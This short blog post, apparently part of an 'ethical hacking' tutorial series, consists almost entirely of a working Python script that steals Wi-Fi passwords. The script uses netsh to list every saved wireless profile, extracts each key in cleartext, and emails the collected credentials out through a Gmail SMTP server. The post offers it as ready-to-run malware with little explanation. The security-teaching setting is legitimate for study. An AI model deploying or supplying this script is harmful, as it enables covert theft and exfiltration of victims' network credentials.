Python Ethical Hacking - Malware Analysis(3)

Stealing WiFi Password Saved on a Computer

#!/usr/bin/env python

import smtplib
import subprocess
import re


def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks.decode())

result = ""
for network_name in network_names_list:
    command = "netsh wlan show profile \"" + network_name + "\" key=clear"
    current_result = subprocess.check_output(command, shell=True)
    result = result + current_result.decode()

print(result)

send_mail("aaaa@gmail.com", "1111111", result)

Python Ethical Hacking - Malware Analysis(3)

 

上一篇:Python Ethical Hacking - BACKDOORS(7)


下一篇:(一)Wireshark基本用法